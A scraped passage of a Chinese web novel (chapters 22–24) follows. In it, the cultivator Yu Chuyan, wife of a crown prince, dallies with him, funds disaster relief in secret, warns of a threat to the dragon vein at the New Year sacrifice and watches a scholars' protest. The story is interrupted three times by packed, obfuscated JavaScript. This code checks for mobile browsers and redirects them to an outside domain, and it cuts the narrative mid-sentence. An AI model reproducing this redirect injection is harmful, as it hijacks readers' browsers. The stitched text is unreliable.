RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588323|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。 余初晏摇头拒绝,也未跟着侍卫回宫,执意要回国师府。 侍卫虽有不解,但帝后曾嘱咐他万事以太子妃意愿为主,只得回宫复命。 - 回府的路上,余初晏望一眼天,明日当是个晴天。 说不上来为何非要宿在国师府,直觉告知余初晏今日不能回宫。 修仙之人断不能忽视自己的灵能第六感。 果不其然,余初晏在府中溪水里,捡到一只差点淹死的叶苒,寒冬腊月,哪怕没淹死,也快冻死了。 因果线已经缠上,余初晏不得不输送了一丝少得可怜的灵力,护住了她的心脉,又用法诀给她吹干。 等将人丢回她的房间,余初晏仔细打量着叶苒,方才在水中,她身上还染着莫名的死气,如今已经散得一干二净。 余初晏料想今晚突如其来的直觉,就是为了路过救她一命,甚至没有惊动天道。 此人到底什么来路,余初晏疑惑不已,索性打了印记在她身上,闲暇时再观察。 等第二日,叶苒醒来,余初晏第一时间感知到,以水镜观察她。 叶苒先是不可置信,摸了摸自己的脸与身体,起身在房间走动,打开窗户向外看。 关窗后,她露出了深深地恐惧与绝望。她在害怕什么,余初晏心想。 随即躺在床榻上睁着眼开始长久地发呆,等到余初晏都快失去耐性了,她才起身,看起来与平日一般无二,进到厨房,开始准备早膳。 后面就是再普通不过的日常,余初晏收起水镜,叶苒是活尸的猜测再次盘旋于心头。 但此间居然有人制作的活尸,连她、甚至连天道都能骗过。 想起叶苒之前曾提出要跟着她,当时她拒绝了,如今想来说不定是操控之人提出的。 得想个法子再把这人安在眼皮子底下。 这厢余初晏正在想如何在拒绝过别人一次后,不引起怀疑地将人绑在身边,另一边国师府有访客上门。 余初晏遥望一眼,为首之人是与她有过一面之缘的裴柿子,名字她记不得,身后众人气场与他类似,应当是钦天监共事。 叶苒熟练地开门接待他们,看样子钦天监之人来得不算少。 听闻余初晏也在府上,裴柿子领着下属前来问好。 余初晏方知国师府最高处有一座高台,钦天监遇大事之时,便会于此观测卜算一番。 临近年关,除夕大祭在即,钦天监需卜算大祭前后几日天气、当日运势等,确认是否会有突发情况。 这些原本是国师之责,钦天监众人为辅,如今国师之位空悬,便只能由他们这些半吊子补上。 裴柿子说此话时,目光若有若无落在余初晏身上,心思昭彰。 余初晏装作没听懂,跟着他们前往高台,只站在不远处旁观。 他们占卜之法倒是有模有样,不过到底灵性不足,观测结果只有个大概,但对几人来说足够了。 卜算接近尾声,余初晏感知到小龙崽来了,趴在围栏处往下看,还真看见了太子马车。 下高台时,看不懂人脸色的裴柿子追上她,与她一同往下,询问她对此次卜算结果的看法。 其他几位钦天监监侯未曾见识过余初晏的手段,皆不明白监副大人缘何问一个外行人。 余初晏原本急着去迎太子,转念一想,占了国师府,什么都不做也不好,遂道:“大祭之日,将有大雪,你们算错了。” 监侯们不信,今日天晴,冰雪带消融之势,接下来几日直到大祭前后都将与今日般。 等到来年正月末风雪才会复返。 余初晏也不管他们信不信,若非裴柿子一直拖着她问东问西,她已经与太子会面了。 念此,看裴柿子的眼神都不善起来,皇帝宠信之人都这般令人不喜。 哪知裴松山不过见小仙与他们同路,出于礼节又不好冷落主人家,只得不断找话搭话。 心中暗忖也不知何处得罪了这位神仙般的人物,让她见到自己便一副横眉竖眼的模样。 融雪天道路湿滑,国师府上又多鹅卵石铺成的小路,裴松山一时不查,脚下不稳,差些摔进旁的溪水中。 幸好余初晏眼疾手快,握住了他的手臂,给人拉了回来。 路都走不稳,皇帝应该将四肢是否协调也加入官员考核范围,余初晏心想着,甫松开手,身旁人又是一歪。 只好再次将人扶正,嘴上道:“裴大人多注意脚下。” 裴松山回以微笑,“多谢小仙相助。” 赵景泽拐过弯,见到的便是这幅画面——他两日未回宫的太子妃扶着不知从哪冒出来的野男人,而野男人还腼着脸对她笑。 22. 我还贤夫万两金 太子马车很宽敞,一个成年人站着才堪堪碰到头。 内里温暖如春,余初晏找寻半天,才在一个精巧的角落找到正在燃烧的炭盆。 底部铺满了柔软的鹿皮毯,上好的檀木制成小案上摆着熟悉的食盒,余初晏不用想都知道内里是为她准备的点心。 太子独自坐在小塌上生闷气,余初晏去看他,他便把脸撇至另一侧, 余初晏被他逗乐了,问:“你做什么呢?” 太子语气硬邦邦,“本宫还生着病呢,可不能把病气过给你。” 余初晏眨眼,真就坐到远些的软垫上,将窗打开一条缝,观察马车外的情形。 国师府一带确实偏僻,路上未见旁人,道路积雪也不好走,瞧着架势要挨边半个时辰才能归皇宫。 怕又给小龙崽子吹病了,余初晏将窗合好,察觉到对方一直在看她,等她望回去,就飞快撇开脸。 无聊的把戏来回两次,余初晏回到塌前,挨着太子,问:“你到底要怎么样?” “那个野男人是谁?”赵景泽反问。 野男人?余初晏皱眉,什么人?回想一阵才反应过来,“你说的不会是裴大人吧?” 果然是朝中之人,他就觉得有几分眼熟,“他怎么在国师府?来做什么的?” 余初晏道:“他们好像经常来国师府,说是卜算。” 还常来国师府,若阿晏久居国师府,岂不是时常能见面,赵景泽选择性忽视了除裴松山以外的其他人。 从背后抱住余初晏,赵景泽额角抵在她的肩上,嘴里小声哼哼,“我卧病在床,阿晏都不来瞧我。” 小龙崽子向来喜欢倒打一耙,余初晏不吃这套,“我怕你把病气过给我了。” 真这么说,小龙崽子又不乐意。 抱着她腰的手臂一紧,果然又生闷气了。 余初晏握着太子手臂,在他怀中转个身,膝盖着塌,抵在他腿间,腰身微微躬着。 这个姿势让她比坐着太子高了不少,太子只能仰着脸看她,剔透的浅色瞳里映出她的面容。 余初晏捧着他的脸,垂首吻了上去。 她未闭眼,能清晰地看到小龙崽瞳孔里震惊与涩然,鸦羽般的眼睫乱颤,最后轻轻闭上眼。 相对的便是腰间越收越紧的力道,不满的她咬了一口小龙崽的舌尖。 太子的口腔里很热,应该是风寒还未好,手下的肌肤也烫得惊人,她感觉赵景泽整个人都快烧起来了。 未免小龙崽子背过气,余初晏微微抬起脸,唇齿分离时,银丝将断未断。 “不生气了?”余初晏眉目弯弯。 赵景泽:“……”别说生气,话都不会说了。 他双眼水亮,扬着头想追上去,被余初晏掐着他的脸避开,“不行,待会病气过给我了。” 赵景泽脸又红了,羞愤地用虎牙在余初晏下唇上咬出两道血印。 “阿晏可真记仇。”嘴里嘟囔着。 见余初晏捂着嘴吃疼,慌忙去瞧。 哪知余初晏根本是装的,那点小伤口,早就连印子都无了,只有她翘起的嘴角与揶揄的眼神。 赵景泽瞪眼,“好啊,阿晏你戏弄我。” 余初晏也瞪他,“那是谁先跟小犬似的乱咬人?” 赵景泽不甘示弱,“阿晏先咬的我,”他探出舌尖,赫然一道小口子。 余初晏又咬了一口。 这回是赵景泽捂着嘴吃疼。 “你的革带硌着我了。”余初晏说着,还往下望去。 赵景泽却忽然反应剧烈,人也不抱着了,极快地缩到塌上,锦被一扯,将自己裹成球。 速度之快,余初晏都愣了片刻,探身担忧地望他。 赵景泽将脸紧紧藏于壁面,“阿晏先去用些点心罢,我……我过会便好……” 余初晏用神识一扫,确实无什么大碍,顶多体内血液涌动得厉害。 好说把小龙崽子哄好了,不枉她神识天天在宫闱间探查。 这般紫气吸收的份量,也比单纯的握手、身体接触来得多得多。 下塌坐回软垫,太子的马车很稳,哪怕路崎岖不平,在车内也无多少震动。 余初晏又开窗望一眼,已经进入内城,再要不了多久,就将抵达皇宫北门处。 趁次功夫,她熟练地将新得的紫气炼化,收入丹田中。 马车进到北门后,不得再深入,太子步辇早就等在不远处。 但赵景泽迟迟不愿下车,还让余初晏去到马车外等候。 马车内憋闷,余初晏又用神识扫一遍太子,再次确认他无事后才先一步下车。 等出了马车,瞥见马车侧候着的小太监,余初晏恍然,小龙崽子不是突然发病,单纯地是想和她双修了。 凡人将双修之事想得晦涩,小龙崽本就容易羞涩,难怪躲在马车中不肯见人。 想通后,余初晏若无其事下车。 向晖候在不远处,面沉如水,甫见到余初晏便拱手问太子在何处。 余初晏指了指马车内,看他脸色不好,问道可是发生什么事了。 向晖在余初晏面前端得恭敬,回道:“太子趁属下不察偷溜出宫,侍卫都未曾带,若是遇上刺客陷入危险之中如何是好?” “还望太子妃殿下多管教于他,身为太子,万不可再这般任性。” 赵景泽已经跃下马车,听到他这番话,怒气冲冲跑来,“若非你执意不让本宫去找阿晏,本宫何故出此下策?” “病体未愈,四处撒欢,不过徒增属下等人工作。” “本宫已经痊愈了!” 太子换了件衣裳,还佩了香囊,余初晏敏锐的嗅觉被这香囊刺得直打喷嚏。 还在和向晖对峙的赵景泽立马转头,紧张地想可别真过了病气。 余初晏捂着鼻子制止他的靠近,“带着你的香囊离我远些。” 恰好此时宫人前来言帝后召见。 余初晏嫌弃地抛下太子,头也不回消失在宫墙间。 赵景泽呆滞在原地,想挽留,人已经远去,只能匆匆摆驾凤仪宫。 方才还在指责他的向晖,忍不住怜悯了,“太子怎地突然佩戴起香囊了?” 赵景泽横他眼,语气心虚,“……不该你管的事少管。” 向晖冷笑,有些人真是活该被太子妃嫌恶。 - 接连几日皆是晴天,今日腊八,转眼就快到大祭的日子。 早些日子陛下封玺,不再批政,连带着太子也能空闲两日,无时无刻不待在听荷殿中。 今日说是要与陛下一同书写“龙笺”,早膳过后便不见人影,余初晏才难得有清净之时。 素兰忙上忙下,指挥人装饰听荷殿,虽说院中有太阳,风还是带着寒意。 余初晏趴在窗台处看书,是她最近从李晓蓉房中翻出的,说是京中闺阁少女皆爱不释手的话本子。 打发时间尚可,余初晏一目十行看过去。 素兰过来时,她一手折腾着今晨新摆上的梅花枝,一手拿书,百无聊赖地模样。 “这冯小姐可傻透了。”余初晏忽然道。 素兰不知她说的是谁,抬头才知她说的是书中人物,便问缘何。 “喜欢的书生只知读书,又管你要钱,又让你洗手作羹汤,还要你生儿育女——他还喜欢别的女子。” 素兰瞧着余初晏手中的话本封皮,马上反驳,“可他长相出挑、性子温和,又会吟诗作对讨女子欢心,家中虽穷,人却端庄有礼,勤奋好学,还考取了状元呢。” “况且……况且尚公主又不是他愿意,只是逼不得已!最后他还不是将冯小姐接至京中,共享天伦之乐。” “最令人感动的,当属他那句:‘贤妻扶我凌云志,我还贤妻万两金’,如此深情且上进之人,哪家女子不倾心?” 余初晏支起身子,饶有兴趣地看她,“所以若是换做是你,你也能忍受嫁与穷书生,没名没分苦等十年后,与其他女子共侍一夫?” 素兰下意识摇头,又觉得哪里不对,“他才不是什么穷书生,他最后可是考取了功名,是陛下亲封的状元郎。” 余初晏又道:“那就是说,你心知他迟早会考上状元,成为大官,才愿意嫁与他咯。若他像张聿般无能,你又当如何?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594244|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“张聿也考取了功名吗?是秀才还是举子?” 是秀才,还考了两次,素兰在心中小声道。 “所以说,冯小姐傻得很,这书生更是坏得没边!考取状元郎又如何,朝中官员俸禄才多少,何时才能赚上万两金?当然娶个公主就不一样了,岂不是拿公主的万两金还给冯小姐嘛。” 余初晏将书一丢,“这和公主直接娶了冯小姐有什么区别?” 素兰:“……女子怎么娶女子?” 余初晏:“打个比方而已。总之这书生以前花冯小姐的钱,后来花公主的钱,我不明白你们为何喜欢他,因为也喜欢给男人花钱?” 好有道理,素兰细细想来,确实如此,太傅从官这么多年,抛开这些年各项开支,剩余的未必有万两金。 不对,她猛地摇头,可不能被余初晏带着跑,素兰目光坚定,大声反驳:“当然是因为倾慕于他,才愿意为他花钱!” “阿晏小姐不正是因为倾慕太子殿下,才入东宫来,若是您早知道太子妻妾成群,还会入东宫吗?” 刚到听荷殿院中,就听到这番话的赵景泽:“……”他哪有妻妾成群,何人在乱编排他! “当然会。”余初晏毫不犹豫地点头,太子妻妾成群,关她修炼什么事。 虽说现下这般更好,她每日都能待在太子身边修炼,但若太子真妻妾成群,顶多就是麻烦一些。 也不知其他国太子情况如何,素兰提醒了她,是时候打探一番了。 她如此肯定,素兰像是大获全胜般,骄傲道:“是吧,您自己倾慕太子殿下,怎地就不准她人倾慕穷书生?” 赵景泽不乐意了,上前走到窗边,语气不满,“本宫和穷书生能一样吗?” 素兰此时方知太子驾到,自知失言,忙跪地请罪。 余初晏觉得好笑,坐在窗台上去勾太子的革带,将他拉到身前,“穷书生当然比不得阿泽,素兰只是想说倾慕之情不分高低贵贱。” 素兰重重点头称是。 赵景泽心道,阿晏可真是爱极了他。心花怒放地环着余初晏,也就不追究素兰的失言,挥手让她起身。 “何人喜欢穷书生?”他道,“可真是不长眼,不像阿晏,一喜欢就是最好的。” 小龙崽子没脸没皮的,余初晏懒得理他。 这些天赵景泽时刻在她身边,他一凑近,丹田都习惯性运转起来,吸收紫气。 靠在太子怀中,余初晏想,贤夫扶我凌云志,我还贤夫万两金,这句话倒没错。 知恩图报,有因必偿果,她可比那书生实在多了,万两金还是有的。 “殿下若是有万两金打算如何花?”余初晏仰头问。 万两金称得上一笔巨款了,赵景泽不知她为何这般问,垂着眼认真思索片刻,道:“楚江沿岸一带雪灾,若有万两金,当用于赈灾一事。” 父皇封玺前,批了20万两白银,灾情严峻的话,万两金不过点头间就用尽了。 余初晏若有所思。 赵景泽复又道:“阿晏要是喜欢什么,我买给你,私库的东西你也随便挑。” 余初晏挑眉,“最好的不是在这吗?” 赵景泽兀自红了脸。 - 深夜,户部尚书方从夫人房中离开,回书房加急处理公务。 虽说年末陛下休沐,还给臣子们一并放假休息,但作为朝中重臣,该完成之事,万万不可拖至来年。 点灯之后,他照常来到书桌面前,忽而发现桌上多出一口箱子,不大,一尺有余。 箱子未锁,他只当下人送来的,也不知何物,打开盖瞧上一眼,又迅速合上。 年俞四十的户部尚书,第一次遇到如此诡异之事。 他复又将箱子打开,确认自己没有眼花,将内里的东西拿出,逐个辨认一番,终于确信这是金条。 来路不明的纯金,整整一箱,至少重达万两。 内侧箱盖还贴有字条,他拿起查阅,上书:赈灾专用,私自取用,必取性命。 字条阅过,骤然自燃,只余手心中黑灰。 户部尚书:……见鬼了!他要上奏陛下! 23. 大祭 除夕当日,寅时。 皇城上空,星斗分明,晴空万里。 宫人提着宫灯指引着众臣入大祀殿。 昨日,皇室成员皆已入住大祀殿,先行斋戒一日。 等到除夕当日,皇帝再于百官见证下,开坛祭天。 赵景泽这两日为了大祭忙得团团转,加之皇帝不处理的政务,便都交由他,只待明日初一再一并盖上玉玺。 今日也未得片刻睡眠,早早起来焚香沐浴,准备大祭。 趁着百官未至,天色未亮,他偷偷靠在余初晏肩头小憩。 皇帝哪能不知他的小动作,锐利的双眼频频瞪来,都被余初晏挡了回去。 次数一多,皇后也注意到了,她身旁两位小殿下同样睡眼惺忪,强打着精神。 百官到来还有些时间,皇后索性打发余初晏与太子去监督祭坛的布置,总好过于先祖灵前不敬。 因着是皇后的安排,青渊帝敢怒不敢言,余初晏趁机拉着太子离殿。 被屋外凛冽寒风一吹,赵景泽清醒了几分,捂着作疼的眉心,边嘟囔抱怨着皇帝,边与余初晏登上高而陡的祭坛。 祭坛久未有人经过,台阶缝隙里挤出一丛丛褐绿相间的青苔。 赵景泽拉着余初晏的手,低声分享往年除夕情形,“午膳要与百官同享,但等夜里,我们去母后宫中守岁,一家人用年夜饭。” “以往皇祖母还在,她会给大家都准备压岁钱,我偷偷瞧过父皇的,没有我的多。” 余初晏静静地听他说,一提到家人,太子的眼睛里总有光芒闪烁着。 赵景泽转而问:“国师大人会替你准备喜钱吗?” 余初晏摇头,山中无岁月,四季流转缓慢,她与师尊从不过新年。 不过每年寿辰,师尊都会准备太多太多的礼物,芥子里堆得乱七八糟。 余初晏起先还会满心欢喜一一拆过,到后来神识探出需要的近身放着,其他的只堆在芥子中。 久而久之,她现在已经富可敌国了。 不知赵景泽误会了什么,他怜爱地亲了亲余初晏的唇角,道:“那今年我的压岁礼都给你。” 余初晏笑了,“好。” - 钦天监众人于祭坛前穿梭,他们今日作为助祭,将全程守候在祭坛。 裴松山也在期间,赵景泽一见到他,就想拉着余初晏往回走。 哪知对方眼疾手快,已经出声请安。 好歹赵景泽还记得自己身为储君,不情不愿受过他的礼。 今日裴松山未着官服,而是一身黑金边黄绸袍舞生服,绿云绸带系于腰间,端得是身姿挺拔,宽肩窄腰。 赵景泽抿唇,语气淡淡道:“裴大人贵为钦天监监副,何故亲自充当这佾舞生?倒是大材小用了。” 裴松山轻笑,“能为陛下分忧,哪有大材小用一说。” 祭祀中乐舞生通常搜罗民间俊俏男子组成,尤其舞生,既要容貌又要身姿。 这裴松山放着好好的祭祀巫祝不当,跑去当舞生,定是别有目的。 赵景泽目光深沉,各种阴谋诡计想了个遍。 这厢裴松山视线一转,落于余初晏身上,拱手道:“不知小仙对这祭坛布置,可有指教?” 赵景泽暗道,果然如此,他定是想要引起阿晏的注意。 转头望去,余初晏注意力压根没在二人身上,仰头看着祭坛。 她对凡人祭祀之礼算不得精通,但透过气,还是能感知到天道对这场祭祀的期待。 凡人祭祀,想必能增强天道本身,余初晏心有顿悟,这也是信仰之力的一环。 “阿晏。” 赵景泽的轻唤将余初晏神识拉回。 她侧首,“我非巫祝,并不精通此道,谈不上什么指教。” 裴松山只当她谦虚,笑道:“小仙贵为国师之徒,莫要妄自菲薄。” 余初晏不乐意了,师尊活了数百年,自然诸事精通,她才不过双十,哪需要懂这么多。 这裴柿子真是听不懂人话。 脸色一甩,便不吭声。 赵景泽趁机言明来意,拉着不悦的余初晏同去视察其他监侯工作。 徒留裴松山一人于原地感慨太子妃果然喜怒无常,陛下之托他恐怕不能胜任了。 此时,天边已经泛青,再过半个时辰,大祭就要开始。 监侯们浅浅与两位殿下见过礼,继续忙碌。 忽而两名监侯装作不经意道:“今日天气极好,天朗气清,裴监副的测算果然未出差错。” “倒也未必,今日还未过完,不可如此笃定,夜间大雪也并非无可能。” 赵景泽只当他们真在讨论天气,瞧着天上还有未曾隐去的星辰,兴致勃勃地提出跟余初晏去看日出。 余初晏冷淡瞥一眼说话的两人,任由太子四下找寻观景之地,还给他指明东方。 可惜二人终是没来得及欣赏日出,大祭之火燃起,吉时已至,作为储君的赵景泽该去准备助祭。 余初晏安慰他改日再与他看日出,只她二人,才哄得太子回到皇帝身边。 赞引官唱赞,大祭第一项迎神拉开帷幕。 祭品之血撒入炉中,百名乐生齐声高唱颂神,钟鼓齐鸣中,青渊帝袒露右臂,行三跪九叩之礼。 之后献圭、诵祭文、献酒、献谷皆非青渊帝亲躬,由太子与相应助祭完成。 众乐舞生也随着献礼不同,舞曲皆有变化。 大祭过程堪称一帆风顺,信仰之力汇聚,直达上天。 终礼之时,百官朝拜,青渊帝目视祭品焚闭,送达天听后,大祭就将完美收尾。 唯天子独立,众人跪伏于地时,余初晏却未曾屈膝,而是仰望着西南方向,面露凝色。 她的异样引来众人目光。 赞引官眼见大祭收尾,却横生枝节,张口便要呵斥。 余初晏此时堪堪回首,与青渊帝遥望,道:“陛下,国难将至。” 话毕,不久前还吉阳高照的天空,阴云笼罩,不见天日。 也或许天象早已变化,沉浸于祭祀中的众人却一无所察。 赞引官想唤侍卫拿下这妖言惑众,扰乱祭祀之人,却被皇帝抬手制止。 皇后宋瑛也起身,以国母之躯护在余初晏身前。 青渊帝脸色比阴云还沉,他道:“大祭之时,这般说辞,若惊扰众神,你可能担责?” 余初晏不答,仰头望天,“下雪了。” 话音落下,纷纷扬扬的大雪洒落,裹在风中,有愈演愈烈之势。 炉中祭品未烧完,祭祀之火,被这猛烈的风吹得摇摇欲灭。 眼见皇帝脸色俞发难看,赵景泽忙高声为余初晏请罪,太傅附和其声。 不明所以的百官见状,有的跟随太傅,有的作壁上观,有的忧心如焚。 钦天监众人心焦不已,只想保住祭火,至少这火绝不能熄。 风雪已经大到众人视线受阻,寒风中不少老臣被冻得瑟瑟发抖。 留了一道避风符给皇后,余初晏向前几步,迎着皇帝的视线,坦然走至祭坛之上,手中掐决,便将祭炉与风雪隔绝开来。 熊熊烈火复燃,炉内祭品只余少量,以此趋势,要不了多久就能焚烧殆尽。 “祭品焚烧完毕,大祭就算结束了罢。”余初晏身边灵力自带结界,避开风雪,瞧着青渊帝眼前冕旒飞舞,勉为其难也将他纳入灵力保护范围。 至于身旁哆哆嗦嗦的赞引官与钦天监众人,与她何关。 青渊帝问:“国难将至一说何解?” 余初晏却道:“陛下当真要在此时问我,百官都在此,小心隔墙有耳。” 青渊帝不再言语,耳边只余风声与燃烧声。 - 好歹大祭终礼完成,众人匆匆去到室内避雪,待到风雪渐缓,才能返回皇城。 另一宫殿中,皇帝身边聚集着几名朝中重臣。 余初晏也不含糊,开门见山问:“可有青渊舆图。” 宫人将舆图奉上,于案上展开。 余初晏站在中心,皇帝与太子分别位于她左右两侧,重臣围绕桌案而立,屏息以待。 “这是何处? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597412|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”余初晏手一指,于地图中圈出一块范围。 户部尚书反应极快,这可不是近来朝中之重,忙道:“此乃湖州与汉州交界之处。” 丞相道:“近日,湖州至汉州一带多县遭遇雪灾,据载,雪深五尺有余,受灾严重,民多冻死。” 他一时有些拿捏不准如何称呼余初晏,迟疑片刻道:“太子妃所说国运有难,可与此事有关?” “这是龙首。”余初晏指着舆图上澧都所在,手一划动,落到众臣口中受灾之地,“这是龙尾。” “首尾相连,方为青渊完整的龙脉。龙尾受损,国之前路渺茫,若听之任之,龙脉断绝,青渊国将不复存在。” 余初晏说得直白,也不管这些人心中做何想。 她语气笃定:“龙脉万不可能凭空受损,是天灾,更是人祸。” 在座几位,此先都知晓陛下病入膏肓,都是曾被托孤的肱骨之臣。 先是陛下被奸人窃命,后有龙脉损伤,幕后之人万般针对青渊,手段诡谲,非常人不能及。 众臣互相对视一番,皆知事情严重性,心中已有考量。 丞相率先拱手,“还请太子妃殿下出手救我青渊于危难之际!” 户部尚书口中请命,暗道:前些日子他府上那万两足金,怕不是太子妃送来的罢。 余初晏转头看皇帝。 皇帝目光流连于舆图,久久无法回神。 长叹一声,像是瞬间老了十岁,他沉吟道:“阿晏可有把握护住龙脉,若无把握,吾等强求你做此事,也是徒增尔之负担。” 余初晏不语,她未必想蹚这趟浑水,还在考虑中,目前她还不想离开太子身边。 虽说玉虚山正位于那一带,若是青渊龙脉受损,玉虚山同样难逃厄运。 但单单护住玉虚山,比之护龙脉轻松很多。 赵景泽忽然在此时开口:“父皇!儿臣自愿请命前往灾区赈灾!” 青渊帝不赞同地摇头:“身为青渊储君,自身安危应当置于第一位,现下情况还未严重至需要储君以身赴险的程度。” “正是因为儿臣身为储君,才更应为国为民,儿臣享万民供奉,若只顾自身安于一隅,日后如何担大统?” 赵景泽心意已决,掀袍跪于众人面前。 “胡闹!”青渊帝心有松动,目光与不远处安静旁听的皇后对上,后者轻轻点头。 余初晏想了想,道:“太子前往灾区说不定还能逢凶化吉。” “毕竟太子气运本身也是龙脉的一部分,反哺养脉,此局可破。” 顶多太子事后会倒霉一段时间,时长就根据龙脉受损情况而定了。 赵景泽眼睛一亮,更加坚定要前往灾区。 如此,青渊帝也不好再拒绝,吩咐众臣早日商议出赈灾章程与需准备的物资,半月之内必须做好充足准备。 赵景泽这才起身,与余初晏耳语:“阿晏就待在京中陪伴母后罢。” 余初晏摇头,“我也要一同前往。” “既然不愿,不必勉强自己。”赵景泽方才就看出余初晏的犹疑,料想此事对她来说并不轻松,才迟迟不愿做决定。 余初晏不勉强,她本是为太子而来,既然太子离京,她留在京中做什么。 “陛下。”余初晏出声打断青渊帝与众臣的交谈。 众人闻声皆看向她。 “我要你们赵家一个承诺,予我,只要赵家身为龙脉持有者一日,往后某日我需要之时,必须全力满足我一个要求。” “与之相对,此番我会全力助太子修复龙脉,保龙脉百年不受损——当然你赵氏子弟自取灭亡,就不关我事了。” 余初晏思来索去,小龙崽子在的话,修补龙脉对她而言轻轻松松。 还能借此换取一个帝王的承诺。 青渊帝沉默片刻,“承诺不危及国祚,不伤及平民?” “自然。” “那朕以天子身份向你承诺,有朝一日你需要,赵氏子弟必将全力满足你一个要求。” “天道为誓。” “天道为誓。” 24. 闹事 “近些日子,澧都附近流民变多了。”李晓蓉面露担忧,“明日宋家阿姊约我一同去城外施粥。” “阿晏你在宫中,可知晓具体灾情?” 余初晏摇头,手中翻阅着新的话本子,这回是狐妖与求生,京中女子真是偏爱书生。 今日正值正月初三,出嫁女回娘家省亲之日。 好歹占了太傅家义女的名头,余初晏便携太子归李府。 太子与李太傅在前厅仪事,恰有李家其他亲戚上门,面见太子此等喜事,他们自当不会错过,前厅挤满了陌生人。 余初晏趁此溜到李晓蓉院中待着。 “近些日子,你与表姐关系倒是亲近。” 李晓蓉面色微红,涩然道:“宋家阿姊教了我不少东西,阿晏无需忧心,我最好的伙伴只有你。” 余初晏从书中移开视线,“那倒不会,以往你身子骨弱,被拘在家中,积郁成疾。现下多交些朋友,多在外头走走是好事。” “我也这般想,听闻宋家这一代唯有宋阿姊一位独女,她司掌宋家诸事,懂得可多了。”李晓蓉眼中满是欣羡。 “阿姊很喜欢我的绣品,答应与我合伙于京中共开设一家绣庄,日后我就有自己的绣庄了!” 眉飞色舞地说着她与宋峥之事,余初晏放下书,含笑听她畅享着未来。比之初见,余初晏还是更喜欢这般鲜活自由的李晓蓉。 - 用过午膳,太子还要回宫处理政事,前往赈灾在即,赵景泽还有诸多事宜要与众臣商议确定。 李晓蓉难得与余初晏久处,不愿她离开。 余初晏立刻决定挥别太子,与李晓蓉逛庙会。 东街庙会于初三开启,直到十五上元节结束。 余初晏十五已经离京,借此空闲,也算是体验一遭凡人的节日。 近日也只除夕那日暴风雪,不出半天雪融,又恢复了风和日丽的晴日。 街上人很多,青渊国富庶,京中百姓更是如此,街边摊贩、门店里客人络绎不绝。 路边不见乞儿,但有不少卖艺之人,或许因为此处为京中最繁华的东街。 余初晏记得她刚来澧都之时,就撞见一群乞儿合作偷取外地人钱财,看到巡捕也不慌不忙,分开跑走。 待逛了半个时辰,李晓蓉丫鬟手中陆陆续续提上了不少东西,而余初晏手中只有一包点心。 太傅虽清贫,给李晓蓉的零花却是不少。 余初晏用着点心,站在街边,李晓蓉于她身后的书店里挑选新的话本。 街上行人忽然朝着前方聚拢去,似乎在瞧什么热闹。 李晓蓉瞧见,话本也不挑了,拉着余初晏就要同去。 未免挤在人群中被冲散,余初晏反拉住她,借由一点小术法,挤到了最前头。 眼前却不是李晓蓉想象中的什么杂耍表演,而是一群穿着灰白单衣,头束两指宽麻布的书生跪于衙门前。 口中高呼着什么:“为天地立心,为万民立命[1],恳请圣上为两州受灾百姓谋一条生路。” 李晓蓉身为太傅之女,认出了他们的身份,抿唇告知余初晏,他们是今年上京赶考的举子们,应当出身湖汉两州。 这些书生不足百人,隆冬之际,哪怕有阳光,只着单衣的他们还是被冻得面色青紫。 半盏茶后,户部尚书接到消息,匆匆赶来。 此间不断有他州的考生加入其中,一同恳请圣上放粮济灾。 李晓蓉心有不忍,余初晏却是万般不解。 青渊帝去岁腊月分三批送出共六十万两银两,布匹、粮食、炭火数百车用于赈灾。 这群书生如此作为,倒显得青渊帝不仁不义,弃灾民于不顾。 偏偏还不能责怪于他们,户部尚书急得胡子都快揪秃了,好言相劝让他们先起来,陛下已经在安排赈灾各项事宜。 原本听他这么一说,有部分挨不住的书生已经有起身穿衣之势。 人群中忽然有人喊道:“朝廷下发的赈灾粮里分明是些发霉的陈米,我亲眼所见!” “那些纹银入了知州府中也再无踪影!未曾落于灾民身上。” “我曾到过湖州,三步一尸首,房屋皆被雪压塌不成型,那知州还在家中宴请亲属朋友,肥肉大酒一车一车送入府中,全然不管灾民死活!” 说话的不止一个人,他们说得信誓旦旦,仿佛真是亲眼所见一般,喊完后便隐没在人群中。 众人议论纷纷,“竟有此事?” “贪官可真是该遭天谴!” “圣上难道不知吗?” 连李晓蓉都面露惊讶,“当地知州居然是这种人?” 余初晏平静道:“湖州与澧都之间隔了数百里,坐船都要半月才能抵达。陛下批下的第一批物资应是近日才送达。他们是如何亲眼见过后,又上到澧都告知众人此事?” 身旁路人听她这么一说,猜测道:“说不定是家中人送信……” “那他们又说亲眼所见。”余初晏瞥一眼身旁之人,看装束也是名书生。 “分明是不怀好意,惹得百姓疑心于朝廷,造谣生事。你瞧那群呆子的书生不就信了,又跪了回去,被人利用了还不知。” 户部尚书见好言相劝不成,脸色一板拿出律法责压他们,耽误官家办公,聚众闹事,严重者处死不为过。 那群书生却道,若能以身赴死,救下万千灾民,何尝不可。 双方一直僵持不下。 看李晓蓉还想继续待下去,余初晏道:“走吧,禁卫军要来了,没什么好看的了。” 